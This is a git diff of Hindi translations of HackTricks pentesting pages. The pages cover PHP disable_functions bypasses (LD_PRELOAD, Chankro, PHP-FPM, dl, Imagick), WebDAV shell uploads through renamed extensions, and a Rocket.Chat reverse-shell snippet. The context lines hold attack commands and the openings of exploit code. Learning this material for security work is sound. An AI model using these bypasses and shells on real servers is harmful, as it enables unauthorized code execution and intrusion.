निष्पादित करना** चाहेंगे। इस स्थिति में यह सामान्य है कि अधिकांश या सभी PHP **functions** जो **सिस्टम कमांड्स को निष्पादित करने की अनुमति देते हैं, **`disable_functions`** में **निष्क्रिय** कर दिए गए हैं।\ तो, चलिए देखते हैं कि आप इस प्रतिबंध को कैसे बायपास कर सकते हैं (यदि आप कर सकते हैं) ### Automatic bypass discovery -आप उपकरण [https://github.com/teambi0s/dfunc-bypasser](https://github.com/teambi0s/dfunc-bypasser) का उपयोग कर सकते हैं और यह आपको बताएगा कि कौन सा फंक्शन (यदि कोई हो) आप **`disable_functions`** को **बायपास** करने के लिए उपयोग कर सकते हैं। +आप उपकरण [https://github.com/teambi0s/dfunc-bypasser](https://github.com/teambi0s/dfunc-bypasser) का उपयोग कर सकते हैं और यह आपको बताएगा कि कौन सी फ़ंक्शन (यदि कोई हो) आप **`disable_functions`** को **बायपास** करने के लिए उपयोग कर सकते हैं। ### Bypassing using other system functions -बस इस पृष्ठ के शुरू में लौटें और **जांचें कि क्या कोई भी कमांड निष्पादित करने वाले फंक्शन निष्क्रिय और वातावरण में उपलब्ध नहीं है।** यदि आप उनमें से केवल 1 को पाते हैं, तो आप इसे मनमाने सिस्टम कमांड्स को निष्पादित करने के लिए उपयोग कर सकते हैं। +बस इस पृष्ठ के शुरुआत में लौटें और **जांचें कि क्या कोई भी कमांड निष्पादित करने वाली फ़ंक्शन निष्क्रिय और वातावरण में उपलब्ध नहीं है**। यदि आप उनमें से केवल 1 को पाते हैं, तो आप इसे मनमाने सिस्टम कमांड्स को निष्पादित करने के लिए उपयोग कर सकते हैं। ### LD_PRELOAD bypass -यह अच्छी तरह से ज्ञात है कि PHP में कुछ फंक्शन जैसे `mail()` **सिस्टम के अंदर बाइनरीज़ को निष्पादित करने जा रहे हैं।** इसलिए, आप उन्हें `LD_PRELOAD` पर्यावरण चर का उपयोग करके दुरुपयोग कर सकते हैं ताकि वे किसी भी चीज़ को निष्पादित करने के लिए एक मनमानी लाइब्रेरी लोड करें। +यह अच्छी तरह से ज्ञात है कि PHP में कुछ फ़ंक्शन जैसे `mail()` **सिस्टम के अंदर बाइनरीज़ को निष्पादित करने जा रहे हैं**। इसलिए, आप उन्हें `LD_PRELOAD` पर्यावरण चर का उपयोग करके दुरुपयोग कर सकते हैं ताकि वे किसी भी चीज़ को निष्पादित करने के लिए एक मनमानी लाइब्रेरी लोड करें। #### Functions that can be used to bypass disable_functions with LD_PRELOAD @@ -506,9 +506,9 @@ echo $client->request($params, $code)."\n"; - **`gnupg_init`**: `php-gnupg` मॉड्यूल स्थापित होने पर उपयोगी। - **`new imagick()`**: इस क्लास का दुरुपयोग प्रतिबंधों को बायपास करने के लिए किया जा सकता है। विस्तृत शोषण तकनीकें एक व्यापक [**writeup here**](https://blog.bi0s.in/2019/10/23/Web/BSidesDelhi19-evalme/) में पाई जा सकती हैं। -आप [**find here**](https://github.com/tarunkant/fuzzphunc/blob/master/lazyFuzzer.py) उस फज़िंग स्क्रिप्ट को पा सकते हैं जिसका उपयोग उन फंक्शंस को खोजने के लिए किया गया था। +आप [**यहां खोज सकते हैं**](https://github.com/tarunkant/fuzzphunc/blob/master/lazyFuzzer.py) वह फज़िंग स्क्रिप्ट जो उन फ़ंक्शंस को खोजने के लिए उपयोग की गई थी। -यहाँ एक लाइब्रेरी है जिसे आप `LD_PRELOAD` env चर का दुरुपयोग करने के लिए संकलित कर सकते हैं: +यहां एक लाइब्रेरी है जिसे आप `LD_PRELOAD` env चर का दुरुपयोग करने के लिए संकलित कर सकते हैं: ```php #include #include @@ -544,7 +544,7 @@ python2 chankro.py --arch 64 --input shell.sh --path /tmp --output bicho.php {{#endtab}} {{#endtabs}} -यदि आप पाते हैं कि **mail** फ़ंक्शन निष्क्रिय फ़ंक्शनों द्वारा अवरुद्ध है, तो आप अभी भी **mb_send_mail** फ़ंक्शन का उपयोग कर सकते हैं।\ +यदि आप पाते हैं कि **mail** फ़ंक्शन अक्षम फ़ंक्शनों द्वारा अवरुद्ध है, तो आप अभी भी **mb_send_mail** फ़ंक्शन का उपयोग कर सकते हैं।\ इस तकनीक और Chankro के बारे में अधिक जानकारी यहाँ: [https://www.tarlogic.com/en/blog/how-to-bypass-disable_functions-and-open_basedir/](https://www.tarlogic.com/en/blog/how-to-bypass-disable_functions-and-open_basedir/) ### "बायपास" PHP क्षमताओं का उपयोग करके @@ -557,7 +557,7 @@ python2 chankro.py --arch 64 --input shell.sh --path /tmp --output bicho.php ### मॉड्यूल/संस्करण निर्भर बायपास -यदि कुछ विशिष्ट मॉड्यूल का उपयोग किया जा रहा है या कुछ विशिष्ट PHP संस्करण का शोषण किया जा रहा है, तो **disable_functions** को बायपास करने के कई तरीके हैं: +यदि कुछ विशिष्ट मॉड्यूल का उपयोग किया जा रहा है या कुछ विशिष्ट PHP संस्करण का शोषण किया जा रहा है, तो disable_functions को बायपास करने के कई तरीके हैं: - [**FastCGI/PHP-FPM (FastCGI Process Manager)**](disable_functions-bypass-php-fpm-fastcgi.md) - [**FFI के साथ बायपास - विदेशी फ़ंक्शन इंटरफ़ेस सक्षम**](https://github.com/carlospolop/hacktricks/blob/master/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/broken-reference/README.md) @@ -635,7 +635,7 @@ python2 chankro.py --arch 64 --input shell.sh --path /tmp --output bicho.php ``` ### जानकारी का खुलासा -इनमें से अधिकांश फ़ंक्शन कॉल्स सिंक नहीं हैं। लेकिन यदि कोई भी डेटा जो लौटाया गया है, एक हमलावर के लिए दृश्य है, तो यह एक भेद्यता हो सकती है। यदि एक हमलावर phpinfo() देख सकता है, तो यह निश्चित रूप से एक भेद्यता है। +इनमें से अधिकांश फ़ंक्शन कॉल्स सिंक नहीं हैं। लेकिन यदि लौटाए गए डेटा में से कोई भी डेटा हमलावर के लिए दृश्य है, तो यह एक कमजोर बिंदु हो सकता है। यदि एक हमलावर phpinfo() देख सकता है, तो यह निश्चित रूप से एक कमजोर बिंदु है। ```php phpinfo posix_mkfifo diff --git a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-dl-function.md b/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-dl-function.md index 0d1f52677..b4f0b9d96 100644 --- a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-dl-function.md +++ b/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-dl-function.md @@ -23,7 +23,7 @@ 2. **PHP स्रोत अधिग्रहण:** -- आधिकारिक [PHP वेबसाइट](http://www.php.net/downloads.php) या [आर्काइव](http://museum.php.net) से PHP स्रोत डाउनलोड करता है यदि संस्करण पुराना है। +- आधिकारिक [PHP वेबसाइट](http://www.php.net/downloads.php) से PHP स्रोत डाउनलोड करता है या यदि संस्करण पुराना है तो [आर्काइव](http://museum.php.net) से। 3. **स्थानीय PHP सेटअप:** @@ -72,7 +72,7 @@ php -i | grep "Zend Extension Build" |awk -F"API4" '{print $2}' | awk -F"," '{pr 2. **एक्सटेंशन लोडिंग:** -- प्रक्रिया को स्वचालित करने के लिए सापेक्ष पथ या स्क्रिप्ट का उपयोग करके `dl` फ़ंक्शन का उपयोग करता है, प्रतिबंधों को दरकिनार करता है। +- प्रक्रिया को स्वचालित करने के लिए सापेक्ष पथों या स्क्रिप्ट का उपयोग करके `dl` फ़ंक्शन का उपयोग करता है। 3. **स्क्रिप्ट निष्पादन:** - हमलावर `bypass.so` और एक PHP स्क्रिप्ट को पीड़ित के सर्वर पर अपलोड करता है। diff --git a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-imagick-less-than-3.3.0-php-greater-than-5.4-exploit.md b/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-imagick-less-than-3.3.0-php-greater-than-5.4-exploit.md index 1c7224c35..987a778c8 100644 --- a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-imagick-less-than-3.3.0-php-greater-than-5.4-exploit.md +++ b/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-imagick-less-than-3.3.0-php-greater-than-5.4-exploit.md @@ -1,8 +1,8 @@ {{#include ../../../../banners/hacktricks-training.md}} -# Imagick <= 3.3.0 PHP >= 5.4 Exploit +# Imagick <= 3.3.0 PHP >= 5.4 एक्सप्लॉइट -[http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/) से +From [http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/) ```php # Exploit Title: PHP Imagick disable_functions Bypass # Date: 2016-05-04 diff --git a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-7.0-7.4-nix-only.md b/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-7.0-7.4-nix-only.md index 1a2b2b5b3..80331d5c0 100644 --- a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-7.0-7.4-nix-only.md +++ b/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-7.0-7.4-nix-only.md @@ -1,4 +1,4 @@ -# disable_functions bypass - PHP 7.0-7.4 (\*nix केवल) +# disable_functions बायपास - PHP 7.0-7.4 (\*nix केवल) {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-fpm-fastcgi.md b/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-fpm-fastcgi.md index 1954f08b2..074b40e8f 100644 --- a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-fpm-fastcgi.md +++ b/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-fpm-fastcgi.md @@ -4,11 +4,11 @@ ## PHP-FPM -**PHP-FPM** को मानक PHP FastCGI के **श्रेष्ठ विकल्प** के रूप में प्रस्तुत किया गया है, जो विशेष रूप से **उच्च ट्रैफ़िक वाली वेबसाइटों के लिए लाभकारी** सुविधाएँ प्रदान करता है। यह एक मास्टर प्रक्रिया के माध्यम से कार्यकर्ता प्रक्रियाओं के एक समूह की निगरानी करता है। PHP स्क्रिप्ट अनुरोध के लिए, यह वेब सर्वर है जो **PHP-FPM सेवा के लिए एक FastCGI प्रॉक्सी कनेक्शन शुरू करता है**। इस सेवा में **सर्वर पर नेटवर्क पोर्ट या यूनिक्स सॉकेट के माध्यम से अनुरोध प्राप्त करने की क्षमता** होती है। +**PHP-FPM** को मानक PHP FastCGI के **उच्चतर विकल्प** के रूप में प्रस्तुत किया गया है, जो विशेष रूप से **उच्च ट्रैफ़िक वाली वेबसाइटों के लिए लाभकारी** सुविधाएँ प्रदान करता है। यह एक मास्टर प्रक्रिया के माध्यम से कार्यकर्ता प्रक्रियाओं के एक समूह की निगरानी करता है। PHP स्क्रिप्ट अनुरोध के लिए, यह वेब सर्वर है जो **PHP-FPM सेवा के लिए एक FastCGI प्रॉक्सी कनेक्शन शुरू करता है**। इस सेवा में **सर्वर पर नेटवर्क पोर्ट या यूनिक्स सॉकेट के माध्यम से अनुरोध प्राप्त करने की क्षमता** होती है। -प्रॉक्सी कनेक्शन की मध्यस्थ भूमिका के बावजूद, PHP-FPM को वेब सर्वर के समान मशीन पर कार्यशील होना आवश्यक है। जो कनेक्शन इसका उपयोग करता है, वह प्रॉक्सी-आधारित होते हुए भी पारंपरिक प्रॉक्सी कनेक्शनों से भिन्न है। एक अनुरोध प्राप्त करने पर, PHP-FPM से एक उपलब्ध कार्यकर्ता इसे संसाधित करता है—PHP स्क्रिप्ट को निष्पादित करता है और फिर परिणामों को वेब सर्वर को अग्रेषित करता है। जब एक कार्यकर्ता एक अनुरोध को संसाधित करना समाप्त कर लेता है, तो यह आगामी अनुरोधों के लिए फिर से उपलब्ध हो जाता है। +प्रॉक्सी कनेक्शन की मध्यस्थ भूमिका के बावजूद, PHP-FPM को वेब सर्वर के समान मशीन पर कार्यशील होना आवश्यक है। इसका उपयोग किया जाने वाला कनेक्शन, जबकि प्रॉक्सी-आधारित है, पारंपरिक प्रॉक्सी कनेक्शनों से भिन्न है। एक अनुरोध प्राप्त करने पर, PHP-FPM से एक उपलब्ध कार्यकर्ता इसे संसाधित करता है—PHP स्क्रिप्ट को निष्पादित करता है और फिर परिणामों को वेब सर्वर को अग्रेषित करता है। एक कार्यकर्ता जब एक अनुरोध को संसाधित करना समाप्त कर लेता है, तो यह आगामी अनुरोधों के लिए फिर से उपलब्ध हो जाता है। -## But what is CGI and FastCGI? +## लेकिन CGI और FastCGI क्या है? ### CGI @@ -16,7 +16,7 @@ यदि **CGI** सर्वर पर स्थापित है, तो विशेष cgi-bin निर्देशिका भी वहाँ जोड़ी जाती है, जैसे home/user/public_html/cgi-bin। CGI स्क्रिप्ट इस निर्देशिका में संग्रहीत होती हैं। **निर्देशिका में प्रत्येक फ़ाइल को एक निष्पादन योग्य कार्यक्रम के रूप में माना जाता है**। जब निर्देशिका से एक स्क्रिप्ट तक पहुँचते हैं, तो सर्वर फ़ाइल की सामग्री को ब्राउज़र को भेजने के बजाय, इस स्क्रिप्ट के लिए जिम्मेदार एप्लिकेशन को अनुरोध भेजता है। **इनपुट डेटा प्रोसेसिंग पूरी होने के बाद, एप्लिकेशन आउटपुट डेटा** को वेब सर्वर को भेजता है जो डेटा को HTTP क्लाइंट को अग्रेषित करता है। -उदाहरण के लिए, जब CGI स्क्रिप्ट [http://mysitename.com/**cgi-bin/file.pl**](http://mysitename.com/**cgi-bin/file.pl**) तक पहुँचती है, तो सर्वर CGI के माध्यम से उपयुक्त पर्ल एप्लिकेशन को चलाएगा। स्क्रिप्ट निष्पादन से उत्पन्न डेटा एप्लिकेशन द्वारा वेब सर्वर को भेजा जाएगा। सर्वर, दूसरी ओर, डेटा को ब्राउज़र में स्थानांतरित करेगा। यदि सर्वर पर CGI नहीं होता, तो ब्राउज़र **.pl** फ़ाइल कोड को स्वयं प्रदर्शित करता। (व्याख्या [यहाँ](https://help.superhosting.bg/en/cgi-common-gateway-interface-fastcgi.html) से) +उदाहरण के लिए, जब CGI स्क्रिप्ट [http://mysitename.com/**cgi-bin/file.pl**](http://mysitename.com/**cgi-bin/file.pl**) तक पहुँचती है, तो सर्वर CGI के माध्यम से उपयुक्त पर्ल एप्लिकेशन को चलाएगा। स्क्रिप्ट निष्पादन से उत्पन्न डेटा एप्लिकेशन द्वारा वेब सर्वर को भेजा जाएगा। सर्वर, दूसरी ओर, डेटा को ब्राउज़र में स्थानांतरित करेगा। यदि सर्वर में CGI नहीं होता, तो ब्राउज़र **.pl** फ़ाइल कोड को स्वयं प्रदर्शित करता। (व्याख्या [यहाँ](https://help.superhosting.bg/en/cgi-common-gateway-interface-fastcgi.html) से) ### FastCGI @@ -42,12 +42,12 @@ FastCGI विकसित करने की आवश्यकता यह [!CAUTION] -> मुझे नहीं पता कि यह आधुनिक संस्करणों में काम कर रहा है या नहीं क्योंकि मैंने एक बार कोशिश की थी और मैं कुछ भी निष्पादित नहीं कर सका। वास्तव में, मैंने देखा कि FastCGI निष्पादन से `phpinfo()` ने संकेत दिया कि `disable_functions` खाली था, लेकिन PHP (किसी तरह) मुझे किसी भी पूर्व में अक्षम की गई फ़ंक्शन को निष्पादित करने से रोक रहा था। कृपया, यदि आपके पास इस बारे में अधिक जानकारी है तो मुझसे संपर्क करें \[**PEASS & HackTricks टेलीग्राम समूह यहाँ**]\([**https://t.me/peass**](https://t.me/peass)), या ट्विटर \[**@carlospolopm**]\([**https://twitter.com/hacktricks_live**](https://twitter.com/hacktricks_live))**।** +> मुझे नहीं पता कि यह आधुनिक संस्करणों में काम कर रहा है क्योंकि मैंने एक बार कोशिश की थी और मैं कुछ भी निष्पादित नहीं कर सका। वास्तव में, मैंने देखा कि FastCGI निष्पादन से `phpinfo()` ने संकेत दिया कि `disable_functions` खाली था, लेकिन PHP (किसी तरह) मुझे किसी भी पूर्व में अक्षम की गई फ़ंक्शन को निष्पादित करने से रोक रहा था। कृपया, यदि आपके पास इस बारे में अधिक जानकारी है तो मुझसे संपर्क करें \[**PEASS & HackTricks टेलीग्राम समूह यहाँ**]\([**https://t.me/peass**](https://t.me/peass)), या ट्विटर \[**@carlospolopm**]\([**https://twitter.com/hacktricks_live**](https://twitter.com/hacktricks_live))**।** [यहाँ](https://balsn.tw/ctf_writeup/20190323-0ctf_tctf2019quals/#wallbreaker-easy) से कोड। ```php @@ -411,16 +411,16 @@ echo $client->request($params, $code)."\n"; ### [**FuckFastGCI**](https://github.com/w181496/FuckFastcgi) यह एक php स्क्रिप्ट है जो `open_basedir` और `disable_functions` को बायपास करने के लिए fastcgi प्रोटोकॉल का शोषण करती है।\ -यह आपको दुर्भावनापूर्ण एक्सटेंशन लोड करके कड़े `disable_functions` को RCE के लिए बायपास करने में मदद करेगी।\ +यह आपको दुर्भावनापूर्ण एक्सटेंशन लोड करके कड़े `disable_functions` को RCE में बायपास करने में मदद करेगी।\ आप इसे यहाँ एक्सेस कर सकते हैं: [https://github.com/w181496/FuckFastcgi](https://github.com/w181496/FuckFastcgi) या यहाँ एक थोड़ी संशोधित और सुधारित संस्करण: [https://github.com/BorelEnzo/FuckFastcgi](https://github.com/BorelEnzo/FuckFastcgi) आप पाएंगे कि शोषण पिछले कोड के बहुत समान है, लेकिन `disable_functions` को PHP_VALUE का उपयोग करके बायपास करने के बजाय, यह कोड निष्पादित करने के लिए `PHP_ADMIN_VALUE` के अंदर `extension_dir` और `extension` पैरामीटर का उपयोग करके **एक बाहरी PHP मॉड्यूल लोड करने** की कोशिश करता है।\ -**NOTE1**: आपको संभवतः **सर्वर द्वारा उपयोग की जा रही PHP संस्करण के साथ** एक्सटेंशन को **फिर से संकलित** करने की आवश्यकता होगी (आप इसे phpinfo के आउटपुट के अंदर चेक कर सकते हैं): +**NOTE1**: आपको संभवतः **सर्वर द्वारा उपयोग की जा रही PHP संस्करण के साथ** एक्सटेंशन को **फिर से संकलित** करने की आवश्यकता होगी (आप इसे phpinfo के आउटपुट के अंदर जांच सकते हैं): ![](<../../../../images/image (180).png>) > [!CAUTION] -> **NOTE2**: मैंने इसे `extension_dir` और `extension` मानों को एक PHP `.ini` कॉन्फ़िग फ़ाइल के अंदर डालकर काम करने में सफल रहा (कुछ ऐसा जो आप सर्वर पर हमला करते समय नहीं कर पाएंगे)। लेकिन किसी कारण से, जब इस शोषण का उपयोग करते हुए और `PHP_ADMIN_VALUE` वेरिएबल से एक्सटेंशन लोड करते हुए प्रक्रिया बस मर गई, इसलिए मुझे नहीं पता कि यह तकनीक अभी भी मान्य है या नहीं। +> **NOTE2**: मैंने इसे `extension_dir` और `extension` मानों को एक PHP `.ini` कॉन्फ़िग फ़ाइल के अंदर डालकर काम करने में सफल रहा (कुछ ऐसा जो आप एक सर्वर पर हमला करते समय नहीं कर पाएंगे)। लेकिन किसी कारण से, जब इस शोषण का उपयोग करते हुए और `PHP_ADMIN_VALUE` वेरिएबल से एक्सटेंशन लोड करते हुए प्रक्रिया बस मर गई, इसलिए मुझे नहीं पता कि यह तकनीक अभी भी मान्य है या नहीं। ### PHP-FPM रिमोट कोड निष्पादन भेद्यता (CVE-2019–11043) diff --git a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-php-5.x-shellshock-exploit.md b/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-php-5.x-shellshock-exploit.md index 69c335814..405081085 100644 --- a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-php-5.x-shellshock-exploit.md +++ b/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-php-5.x-shellshock-exploit.md @@ -2,7 +2,7 @@ # PHP 5.x Shellshock Exploit -[http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/) से +From [http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/) ```php #Uplaod .txt files and try to move it to other extensions davtest [-auth user:password] -sendbd auto -url http:// #Try to upload every extension @@ -41,7 +41,7 @@ curl -X MOVE --header 'Destination:http://$ip/shell.php' 'http://$ip/shell.txt' यह सुरक्षा कमी बहुत दिलचस्प है। **WebDav** **फाइलों को अपलोड** या **नाम बदलने** की अनुमति **नहीं देता** जिनका एक्सटेंशन **.asp** है। लेकिन आप नाम के अंत में **";.txt"** जोड़कर इसे **बायपास** कर सकते हैं और फाइल को एक .asp फाइल की तरह **निष्पादित** किया जाएगा (आप **".html" का उपयोग भी कर सकते हैं ".txt" के बजाय** लेकिन **";" को मत भूलें**)। -फिर आप अपनी शेल को ".**txt" फाइल** के रूप में **अपलोड** कर सकते हैं और इसे ".asp;.txt" फाइल में **कॉपी/मूव** कर सकते हैं। उस फाइल को वेब सर्वर के माध्यम से एक्सेस करने पर, यह **निष्पादित** होगा (कैडावर कहेगा कि मूव क्रिया काम नहीं की, लेकिन यह काम कर गई)। +फिर आप अपनी शेल को एक ".**txt" फाइल** के रूप में **अपलोड** कर सकते हैं और इसे एक ".asp;.txt" फाइल में **कॉपी/मूव** कर सकते हैं। उस फाइल को वेब सर्वर के माध्यम से एक्सेस करने पर, यह **निष्पादित** होगा (कैडावर कहेगा कि मूव क्रिया काम नहीं की, लेकिन यह काम कर गई)। ![](<../../images/image (1092).png>) @@ -65,7 +65,7 @@ Require valid-user ``` /etc/apache2/users.password ``` -इन प्रकार की फ़ाइलों के अंदर आपको **username** और पासवर्ड का **hash** मिलेगा। ये वे क्रेडेंशियल्स हैं जो वेबडाव सर्वर उपयोगकर्ताओं को प्रमाणित करने के लिए उपयोग कर रहा है। +इस प्रकार की फ़ाइलों के अंदर आपको **username** और पासवर्ड का **hash** मिलेगा। ये वे क्रेडेंशियल्स हैं जो वेबडाव सर्वर उपयोगकर्ताओं को प्रमाणित करने के लिए उपयोग कर रहा है। आप उन्हें **crack** करने की कोशिश कर सकते हैं, या यदि किसी कारणवश आप **webdav** सर्वर तक **access** करना चाहते हैं तो **more** जोड़ सकते हैं: ```bash diff --git a/src/network-services-pentesting/pentesting-web/rocket-chat.md b/src/network-services-pentesting/pentesting-web/rocket-chat.md index d78d4f164..23b224a20 100644 --- a/src/network-services-pentesting/pentesting-web/rocket-chat.md +++ b/src/network-services-pentesting/pentesting-web/rocket-chat.md @@ -11,7 +11,7 @@
-- [docs](https://docs.rocket.chat/guides/administration/admin-panel/integrations) के अनुसार, दोनों ES2015 / ECMAScript 6 ([basically JavaScript](https://codeburst.io/javascript-wtf-is-es6-es8-es-2017-ecmascript-dca859e4821c)) का उपयोग डेटा को प्रोसेस करने के लिए करते हैं। तो चलिए एक [rev shell for javascript](../../generic-hacking/reverse-shells/linux.md#nodejs) प्राप्त करते हैं जैसे: +- [docs](https://docs.rocket.chat/guides/administration/admin-panel/integrations) के अनुसार, दोनों ES2015 / ECMAScript 6 ([बुनियादी रूप से JavaScript](https://codeburst.io/javascript-wtf-is-es6-es8-es-2017-ecmascript-dca859e4821c)) का उपयोग डेटा को संसाधित करने के लिए करते हैं। तो चलिए एक [rev shell for javascript](../../generic-hacking/reverse-shells/linux.md#nodejs) प्राप्त करते हैं जैसे: ```javascript const require = console.log.constructor("return process.mainModule.require")() const { exec } = require("child_process") diff --git a/src/network-services-pentesting/pentesting-web/special-http-headers.md b/src/network-services-pentesting/pentesting-web/special-http-headers.md index bfa19d7b7..1837f607f 100644 --- a/src/network-services-pentesting/pentesting-web/special-http-headers.md +++ b/src/network-services-pentesting/pentesting-web/special-http-headers.md @@ -59,7 +59,7 @@ - **`X-Cache`** में प्रतिक्रिया में मान हो सकता है **`miss`** जब अनुरोध कैश नहीं किया गया था और मान **`hit`** जब इसे कैश किया गया है - हेडर **`Cf-Cache-Status`** में समान व्यवहार - **`Cache-Control`** यह संकेत करता है कि क्या एक संसाधन कैश किया जा रहा है और अगली बार कब संसाधन फिर से कैश किया जाएगा: `Cache-Control: public, max-age=1800` -- **`Vary`** अक्सर प्रतिक्रिया में **अतिरिक्त हेडर** को **कैश कुंजी का हिस्सा** के रूप में इंगित करने के लिए उपयोग किया जाता है, भले ही वे सामान्यतः अनकुंजीकृत हों। +- **`Vary`** अक्सर प्रतिक्रिया में **अतिरिक्त हेडर** को **कैश कुंजी का हिस्सा** के रूप में संकेत करने के लिए उपयोग किया जाता है, भले ही वे सामान्यतः अनकुंजीकृत हों। - **`Age`** उन सेकंड में समय को परिभाषित करता है जब वस्तु प्रॉक्सी कैश में रही है। - **`Server-Timing: cdn-cache; desc=HIT`** यह भी संकेत करता है कि एक संसाधन कैश किया गया था @@ -69,23 +69,23 @@ **स्थानीय कैश हेडर**: -- `Clear-Site-Data`: हेडर यह इंगित करने के लिए कि कैश को हटाया जाना चाहिए: `Clear-Site-Data: "cache", "cookies"` +- `Clear-Site-Data`: हेडर यह संकेत करने के लिए कि कैश को हटाया जाना चाहिए: `Clear-Site-Data: "cache", "cookies"` - `Expires`: उस दिन/समय को शामिल करता है जब प्रतिक्रिया समाप्त होनी चाहिए: `Expires: Wed, 21 Oct 2015 07:28:00 GMT` - `Pragma: no-cache` `Cache-Control: no-cache` के समान -- `Warning`: **`Warning`** सामान्य HTTP हेडर संदेश की स्थिति के साथ संभावित समस्याओं के बारे में जानकारी प्रदान करता है। एक प्रतिक्रिया में एक से अधिक `Warning` हेडर दिखाई दे सकते हैं। `Warning: 110 anderson/1.3.37 "Response is stale"` +- `Warning`: **`Warning`** सामान्य HTTP हेडर संदेश की स्थिति के साथ संभावित समस्याओं के बारे में जानकारी प्रदान करता है। एक प्रतिक्रिया में एक से अधिक `Warning` हेडर प्रकट हो सकते हैं। `Warning: 110 anderson/1.3.37 "Response is stale"` ## शर्तें - इन हेडरों का उपयोग करने वाले अनुरोध: **`If-Modified-Since`** और **`If-Unmodified-Since`** केवल तब डेटा के साथ उत्तर दिया जाएगा जब प्रतिक्रिया हेडर\*\*`Last-Modified`\*\* में एक अलग समय हो। - **`If-Match`** और **`If-None-Match`** का उपयोग करने वाले शर्तीय अनुरोध एक Etag मान का उपयोग करते हैं ताकि वेब सर्वर प्रतिक्रिया की सामग्री भेजे यदि डेटा (Etag) बदल गया है। `Etag` HTTP प्रतिक्रिया से लिया जाता है। -- **Etag** मान आमतौर पर प्रतिक्रिया की **सामग्री** के आधार पर **गणना की जाती है**। उदाहरण के लिए, `ETag: W/"37-eL2g8DEyqntYlaLp5XLInBWsjWI"` इंगित करता है कि `Etag` **37 बाइट्स** का **Sha1** है। +- **Etag** मान आमतौर पर प्रतिक्रिया की **सामग्री** के आधार पर **गणना की जाती है**। उदाहरण के लिए, `ETag: W/"37-eL2g8DEyqntYlaLp5XLInBWsjWI"` यह संकेत करता है कि `Etag` **37 बाइट्स** का **Sha1** है। ## रेंज अनुरोध - **`Accept-Ranges`**: संकेत करता है कि क्या सर्वर रेंज अनुरोधों का समर्थन करता है, और यदि हां, तो रेंज को किस इकाई में व्यक्त किया जा सकता है। `Accept-Ranges: ` -- **`Range`**: संकेत करता है कि सर्वर को दस्तावेज़ का कौन सा भाग लौटाना चाहिए। +- **`Range`**: उस दस्तावेज़ के भाग को इंगित करता है जिसे सर्वर को लौटाना चाहिए। - **`If-Range`**: एक शर्तीय रेंज अनुरोध बनाता है जो केवल तब पूरा होता है जब दिया गया etag या तिथि दूरस्थ संसाधन से मेल खाता है। असंगत संसाधन के संस्करणों से दो रेंज डाउनलोड करने से रोकने के लिए उपयोग किया जाता है। -- **`Content-Range`**: यह इंगित करता है कि एक पूर्ण संदेश में आंशिक संदेश कहाँ संबंधित है। +- **`Content-Range`**: इंगित करता है कि एक पूर्ण संदेश में एक आंशिक संदेश कहाँ संबंधित है। ## संदेश शरीर की जानकारी @@ -95,7 +95,7 @@ - **`Content-Language`**: दर्शकों के लिए लक्षित मानव भाषा(ओं) का वर्णन करता है, ताकि यह उपयोगकर्ता को उनके अपने पसंदीदा भाषा के अनुसार भेद करने की अनुमति देता है। - **`Content-Location`**: लौटाए गए डेटा के लिए एक वैकल्पिक स्थान को इंगित करता है। -पेंटेस्ट के दृष्टिकोण से यह जानकारी आमतौर पर "व्यर्थ" होती है, लेकिन यदि संसाधन **401** या **403** द्वारा **संरक्षित** है और आप इस **जानकारी** को **प्राप्त करने** का कोई **तरीका** ढूंढ सकते हैं, तो यह **दिलचस्प** हो सकता है।\ +एक पेंटेस्ट के दृष्टिकोण से, यह जानकारी आमतौर पर "व्यर्थ" होती है, लेकिन यदि संसाधन **401** या **403** द्वारा **संरक्षित** है और आप इस **जानकारी** को **प्राप्त करने** का कोई **तरीका** खोज सकते हैं, तो यह **दिलचस्प** हो सकता 